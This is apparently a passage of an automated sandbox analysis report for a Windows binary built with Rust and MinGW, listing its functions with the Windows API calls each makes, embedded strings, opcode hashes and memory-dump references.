Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: ErrorLast$CaptureContextCurrentDirectoryEntryFunctionLookupmemset
String ID: note: Some details are omitted, run with `RUST_BACKTRACE=full` for a verbose backtrace.__rust_begin_short_backtrace__rust_end_short_backtraces [... omitted frame ...]$stack backtrace:
API String ID: 3347127084-3192684347
Opcode ID: 01b6169ae3582c0ab3a5af394b04a14bdf6d60cfc7f480c710213a438aecbc31
Instruction ID: 1ba5c3eeb407bc0375bea1536e1658e8fae3dd96d59069f5c303e263996faa45
Opcode Fuzzy Hash: 01b6169ae3582c0ab3a5af394b04a14bdf6d60cfc7f480c710213a438aecbc31
Instruction Fuzzy Hash: 5EA12F32608FC198EB719F24DC417EA77A4FB49769F440525CE4D0BB9AEF78924AC720

Function 00007FF7177AD7A0 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 138COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32 ref: 00007FF7177AD8BB

Strings

Address %p has no image-section, xrefs: 00007FF7177AD812, 00007FF7177AD965
VirtualQuery failed for %d bytes at address %p, xrefs: 00007FF7177AD951
Mingw-w64 runtime failure:, xrefs: 00007FF7177AD7D7
VirtualProtect failed with code 0x%x, xrefs: 00007FF7177AD92E

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: QueryVirtual
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section$Mingw-w64 runtime failure:
API String ID: 1804819252-1534286854
Opcode ID: 4fd57c9b88b693a7d41eaaea85bb8feca93a6b3e80787ddb801d584a8055ed59
Instruction ID: 007d4c63689eacecbcfcda5ac4af9081a5b69a9021ec919adcc7316852c41a68
Opcode Fuzzy Hash: 4fd57c9b88b693a7d41eaaea85bb8feca93a6b3e80787ddb801d584a8055ed59
Instruction Fuzzy Hash: F2517772A04E4682FB10AB51E8416A9FB60FB88BB4F984531DE4C17356EF3CE59EC750

Function 00007FF717747C60 Relevance: 12.1, APIs: 8, Instructions: 70networkCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF717747C84
WSASocketW.WS2_32 ref: 00007FF717747CC5
WSAGetLastError.WS2_32 ref: 00007FF717747CD7
WSASocketW.WS2_32 ref: 00007FF717747D0A
SetHandleInformation.KERNEL32 ref: 00007FF717747D23
GetLastError.KERNEL32 ref: 00007FF717747D2C
closesocket.WS2_32 ref: 00007FF717747D36
WSAGetLastError.WS2_32 ref: 00007FF717747D3F

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: ErrorLast$Socket$HandleInformationclosesocketmemset
String ID:
API String ID: 3407399761-0
Opcode ID: 9fae1a40f16f2f3957333c6efa841f139f9f280d079620cbfc37dba620905ab4
Instruction ID: 56247a106a2c5366543352e9adb5fd1a5ab40ee1552a8f7a204b9f22f9d8a284
Opcode Fuzzy Hash: 9fae1a40f16f2f3957333c6efa841f139f9f280d079620cbfc37dba620905ab4
Instruction Fuzzy Hash: BD21B131A089514AF730FA35C0423B9A6509B487F4F984730ED2D57BCBDE2CA95F8BA0

Function 00007FF7177793AE Relevance: 12.1, APIs: 2, Strings: 6, Instructions: 55COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 00007FF717779423
memcmp.MSVCRT ref: 00007FF71777943D

Strings

SPSR_FIQ, xrefs: 00007FF7177793B1
SPSR_UND, xrefs: 00007FF7177793EA
SPSR_ABT, xrefs: 00007FF7177793D7
SPSR_IRQ, xrefs: 00007FF7177793C4
SPSR_SVC, xrefs: 00007FF7177793FD
TPIDRUROTPIDRURWTPIDPRHTPIDPRSPLRPCACC0ACC1ACC2ACC3ACC4ACC5ACC6ACC7S0S1S2S3S4S5S6S7S8S9S10S11S12S13S14S15S16S17S18S19S20S21S22S23S24S25S26S27S28S29S30S31X0X1X2X3X4X5X6X7X8X9X10X11X12X13X14X15X16X17X18X19X20X21X22X23X24X25X26X27X28X29X30ELR_modeRA_SIGN_STATETPI, xrefs: 00007FF717779410

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: memcmp
String ID: SPSR_ABT$SPSR_FIQ$SPSR_IRQ$SPSR_SVC$SPSR_UND$TPIDRUROTPIDRURWTPIDPRHTPIDPRSPLRPCACC0ACC1ACC2ACC3ACC4ACC5ACC6ACC7S0S1S2S3S4S5S6S7S8S9S10S11S12S13S14S15S16S17S18S19S20S21S22S23S24S25S26S27S28S29S30S31X0X1X2X3X4X5X6X7X8X9X10X11X12X13X14X15X16X17X18X19X20X21X22X23X24X25X26X27X28X29X30ELR_modeRA_SIGN_STATETPI
API String ID: 1475443563-2082546588
Opcode ID: f5176a462027b55d940c15e46d0c21bb11bd80f3f09bc554bb613763e8c96442
Instruction ID: 836dc1f261c5a65bf7ba40610c988d415c39904e2294cc1725b0ea4b5e14b9bf
Opcode Fuzzy Hash: f5176a462027b55d940c15e46d0c21bb11bd80f3f09bc554bb613763e8c96442
Instruction Fuzzy Hash: 64119D66E0FD4680EE216D6660043B98184AF0CFE5F945031CE4E9F3D2DD3DE84F96A5

Function 00007FF717739C40 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 217COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF717739D6A
GetEnvironmentVariableW.KERNEL32 ref: 00007FF717739D7C
GetLastError.KERNEL32 ref: 00007FF717739D88
GetLastError.KERNEL32 ref: 00007FF717739DA1

Strings

environment variable not foundenvironment variable was not valid unicode: , xrefs: 00007FF717739FC5

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: ErrorLast$EnvironmentVariable
String ID: environment variable not foundenvironment variable was not valid unicode:
API String ID: 2691138088-3632183283
Opcode ID: 0342860675461f0b20e08d9a2fdbebe81f3f7dcae1fddb8a0acb782e836da0a9
Instruction ID: 2c9510d404b235a855a1d48dfd9b6eeb79a5859999365ec934267cc441024b67
Opcode Fuzzy Hash: 0342860675461f0b20e08d9a2fdbebe81f3f7dcae1fddb8a0acb782e836da0a9
Instruction Fuzzy Hash: 2AA18562A04FD185F731AF25D8453E96364FB08BACF844135DE1C57B96DF38929E8710

Function 00007FF71774D280 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 151COMMON

Download Yara Rule

APIs

WakeByAddressAll.API-MS-WIN-CORE-SYNCH-L1-2-0 ref: 00007FF71774D300
WakeByAddressSingle.API-MS-WIN-CORE-SYNCH-L1-2-0 ref: 00007FF71774D324
WakeByAddressSingle.API-MS-WIN-CORE-SYNCH-L1-2-0 ref: 00007FF71774D38A
WaitOnAddress.API-MS-WIN-CORE-SYNCH-L1-2-0 ref: 00007FF71774D3A5
GetLastError.KERNEL32 ref: 00007FF71774D3AF

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 00007FF71774D3DC, 00007FF71774D476

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: Address$Wake$Single$ErrorLastWait
String ID: called `Result::unwrap()` on an `Err` value
API String ID: 798958160-2333694755
Opcode ID: cd302619e39ff7fc371fd1f27c6b2ef57ef3d3f9db92bdbf5a41809f3225fba1
Instruction ID: d0abefe7de8f9872a8ab3c93df406b3a47034c359cc7a3ee799d45749d9fd4f4
Opcode Fuzzy Hash: cd302619e39ff7fc371fd1f27c6b2ef57ef3d3f9db92bdbf5a41809f3225fba1
Instruction Fuzzy Hash: C7516731A08A5285FB21AB65A4012BEA7A1AB09774F844571DFEE076C7DE3CE54F8360

Function 00007FF71774B8E0 Relevance: 9.3, APIs: 3, Strings: 3, Instructions: 307COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF71774B944
memcpy.MSVCRT ref: 00007FF71774BA24
memcpy.MSVCRT ref: 00007FF71774BC12

Strings

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789Time went backwards, xrefs: 00007FF71774BB05
AppData/Roaming/.ini, xrefs: 00007FF71774B9C9, 00007FF71774BB0A, 00007FF71774BCA2
assertion failed: is_code_point_boundary(self, new_len), xrefs: 00007FF71774BA6A

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: memcpy
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789Time went backwards$AppData/Roaming/.ini$assertion failed: is_code_point_boundary(self, new_len)
API String ID: 3510742995-3583678413
Opcode ID: ed0b1ed9c4e76238d366cb2176a840bfc7e87afff67f0850cb94e2065038582c
Instruction ID: e2ff29b9f8388082c787e6c9f2fe17bcacbc0feca69e3927e30fa67fc6bb706f
Opcode Fuzzy Hash: ed0b1ed9c4e76238d366cb2176a840bfc7e87afff67f0850cb94e2065038582c
Instruction Fuzzy Hash: 8AB1B762F08E5545FB11AB6298412F9A7607F59BE4F888431DE0E1779BDE3CE58EC320

Function 00007FF717762020 Relevance: 9.2, APIs: 6, Instructions: 249COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF71776211A
GetFullPathNameW.KERNEL32 ref: 00007FF71776212F
GetLastError.KERNEL32 ref: 00007FF71776213A
GetLastError.KERNEL32 ref: 00007FF717762153
GetLastError.KERNEL32 ref: 00007FF717762213
memcpy.MSVCRT ref: 00007FF7177622D2

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: ErrorLast$FullNamePathmemcpy
String ID:
API String ID: 674145353-0
Opcode ID: c86c17218d19c75a787743f085ae15f53dec54c9354b4f045dda96a06e434b5c
Instruction ID: 2731857ffb3fc4b1898b87b5476437dc52cdcb6ba791f260ec07f19aa0d59134
Opcode Fuzzy Hash: c86c17218d19c75a787743f085ae15f53dec54c9354b4f045dda96a06e434b5c
Instruction Fuzzy Hash: FFA1A561B0CF8245FB65AB21D9443B9A655BB09BE8F948035ED0C4B78BDF3CD64E8320

Function 00007FF717755CA0 Relevance: 9.2, APIs: 6, Instructions: 177COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF717755D8A
GetFinalPathNameByHandleW.KERNEL32 ref: 00007FF717755D9F
GetLastError.KERNEL32 ref: 00007FF717755DAA
GetLastError.KERNEL32 ref: 00007FF717755DC3
GetLastError.KERNEL32 ref: 00007FF717755E5F
CloseHandle.KERNEL32 ref: 00007FF717755F72

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: ErrorLast$Handle$CloseFinalNamePath
String ID:
API String ID: 3328380333-0
Opcode ID: 336c2ffac5990d8a0d3afad687ed349e86d2a9f8363363dc888a5a201cb45549
Instruction ID: 6bc8aa9ca88524d190355eb55e61716effd065941dc91b7299a09b6657d71b74
Opcode Fuzzy Hash: 336c2ffac5990d8a0d3afad687ed349e86d2a9f8363363dc888a5a201cb45549
Instruction Fuzzy Hash: 6C61A562A05FC249FB21AB25D8443F9A365AB08BE8FD44531DE1C5B787DF3C929E8310

Function 00007FF71775F377 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 128COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF71775F381
CloseHandle.KERNEL32 ref: 00007FF71775F3AF
CloseHandle.KERNEL32 ref: 00007FF71775F3C4
CloseHandle.KERNEL32 ref: 00007FF71775F923

Strings

0123456789ABCDEFxxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxxUnexpected format character, xrefs: 00007FF71775F941
program path has no file name, xrefs: 00007FF71775F990

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: CloseHandle
String ID: program path has no file name$0123456789ABCDEFxxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxxUnexpected format character
API String ID: 2962429428-4245703473
Opcode ID: 688fe29e9296e47face9f1dc11be20400f2cec6343617790042bbab9edfb9346
Instruction ID: 2d53f6cfbaa0fd023b009bbee28bf057cb006cf7d7401ce7a581b2f34ad822e9
Opcode Fuzzy Hash: 688fe29e9296e47face9f1dc11be20400f2cec6343617790042bbab9edfb9346
Instruction Fuzzy Hash: 54518262A09E8195FB60BB2198043FA9360AF49BA8FC45436DE0D47787DE3DE54F8321

Function 00007FF717737940 Relevance: 9.1, APIs: 6, Instructions: 92timesleepsynchronizationCOMMON

Download Yara Rule

APIs

CreateWaitableTimerExW.KERNEL32 ref: 00007FF7177379A1
SetWaitableTimer.KERNEL32 ref: 00007FF7177379F4
WaitForSingleObject.KERNEL32 ref: 00007FF717737A05
CloseHandle.KERNEL32 ref: 00007FF717737A10
CloseHandle.KERNEL32 ref: 00007FF717737A20
Sleep.KERNEL32 ref: 00007FF717737A69

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: CloseHandleTimerWaitable$CreateObjectSingleSleepWait
String ID:
API String ID: 2261246915-0
Opcode ID: 72e9249e10d04ea31e222df16e307ed292eb138d76baae3c62a0bd4991e56d0a
Instruction ID: 327477f98956107d2d8b6ced9ba7a0b05d644b0e90a9a581fcffb7a62f4509a0
Opcode Fuzzy Hash: 72e9249e10d04ea31e222df16e307ed292eb138d76baae3c62a0bd4991e56d0a
Instruction Fuzzy Hash: 5C214623F09E0606FF6CB6792512374C04A5F8DBB0E88A235ED2E567D7DD3CA60E4660

Function 00007FF7177576B0 Relevance: 9.1, APIs: 6, Instructions: 68networkCOMMON

Download Yara Rule

APIs

WSAGetLastError.WS2_32 ref: 00007FF717757701
WSASocketW.WS2_32 ref: 00007FF717757731
SetHandleInformation.KERNEL32 ref: 00007FF71775774C
GetLastError.KERNEL32 ref: 00007FF717757755
closesocket.WS2_32 ref: 00007FF717757767
WSAGetLastError.WS2_32 ref: 00007FF717757776

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: ErrorLast$HandleInformationSocketclosesocket
String ID:
API String ID: 1159780279-0
Opcode ID: 89236558c6572c69d8797d5ee2b66b3e15e28f56c0e71b4a2d265fc120f2cf61
Instruction ID: c024a8c5d93ed65938933fc4fa878881d32af45429644383f32790b3609f84a0
Opcode Fuzzy Hash: 89236558c6572c69d8797d5ee2b66b3e15e28f56c0e71b4a2d265fc120f2cf61
Instruction Fuzzy Hash: DC11D222B0896106F7206A79E005B759650AB8C7F4F984730EE6C477C7ED7D988F4B60

Function 00007FF717779672 Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 52COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 00007FF7177796F2

Strings

R8_F, xrefs: 00007FF7177796AD
R8_U, xrefs: 00007FF717779672
R9_F, xrefs: 00007FF7177796C9
TPIDPRHTPIDPRSPLRPCACC0ACC1ACC2ACC3ACC4ACC5ACC6ACC7S0S1S2S3S4S5S6S7S8S9S10S11S12S13S14S15S16S17S18S19S20S21S22S23S24S25S26S27S28S29S30S31X0X1X2X3X4X5X6X7X8X9X10X11X12X13X14X15X16X17X18X19X20X21X22X23X24X25X26X27X28X29X30ELR_modeRA_SIGN_STATETPIDRRO_EL0TPIDR_EL, xrefs: 00007FF7177796E5
R9_U, xrefs: 00007FF717779691

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: memcmp
String ID: R8_F$R8_U$R9_F$R9_U$TPIDPRHTPIDPRSPLRPCACC0ACC1ACC2ACC3ACC4ACC5ACC6ACC7S0S1S2S3S4S5S6S7S8S9S10S11S12S13S14S15S16S17S18S19S20S21S22S23S24S25S26S27S28S29S30S31X0X1X2X3X4X5X6X7X8X9X10X11X12X13X14X15X16X17X18X19X20X21X22X23X24X25X26X27X28X29X30ELR_modeRA_SIGN_STATETPIDRRO_EL0TPIDR_EL
API String ID: 1475443563-1802361725
Opcode ID: 337bd77bac466ef6af75d31728e79a359992667c230a7dcc0bfcfa1e8b9874c2
Instruction ID: 9a95b4c661f5534a7de631da5c289c7a03f8fa5c8e6ce17979686ab254468a1e
Opcode Fuzzy Hash: 337bd77bac466ef6af75d31728e79a359992667c230a7dcc0bfcfa1e8b9874c2
Instruction Fuzzy Hash: A611E923E1A82647F7709A34A401A7795D0DF09BA5F946030CD4D8E6E1EA3EE44E9EE0

Function 00007FF717737AC0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 175COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF71776C340: TlsGetValue.KERNEL32 ref: 00007FF71776C362
Part of subcall function 00007FF71776C340: TlsGetValue.KERNEL32 ref: 00007FF71776C3C3
Part of subcall function 00007FF71776C340: TlsSetValue.KERNEL32 ref: 00007FF71776C3D3

WaitOnAddress.API-MS-WIN-CORE-SYNCH-L1-2-0 ref: 00007FF717737BBE
GetLastError.KERNEL32 ref: 00007FF717737BC8
WaitOnAddress.API-MS-WIN-CORE-SYNCH-L1-2-0 ref: 00007FF717737CE9
GetLastError.KERNEL32 ref: 00007FF717737CF3

Strings

use of std::thread::current() is not possible after the thread's local data has been destroyedlibrary\std\src\thread\mod.rs, xrefs: 00007FF717737BCF, 00007FF717737D19

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: Value$AddressErrorLastWait
String ID: use of std::thread::current() is not possible after the thread's local data has been destroyedlibrary\std\src\thread\mod.rs
API String ID: 1881407604-63010627
Opcode ID: c63a79c920b23dd25f0e73757991695bfd17002a75ce36b5631c1c8cc01a7c61
Instruction ID: 2cad489660419f88bb3f65890f9d482a798db9ecb7b15f328e1fb78b1c492659
Opcode Fuzzy Hash: c63a79c920b23dd25f0e73757991695bfd17002a75ce36b5631c1c8cc01a7c61
Instruction Fuzzy Hash: 64514722F19E8258FB15BB2088412BDE764AB58774FD48136DE0D17BC7DE2CA40F8360

Function 00007FF71774F310 Relevance: 8.0, APIs: 3, Strings: 2, Instructions: 498COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF71774F383
memcpy.MSVCRT ref: 00007FF71774F434
memcpy.MSVCRT ref: 00007FF71774F577

Strings

assertion failed: self.height > 0, xrefs: 00007FF71774FB07
PATHlibrary\std\src\sys_common\process.rs, xrefs: 00007FF71774F3D1, 00007FF71774F5DB

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: memcpy
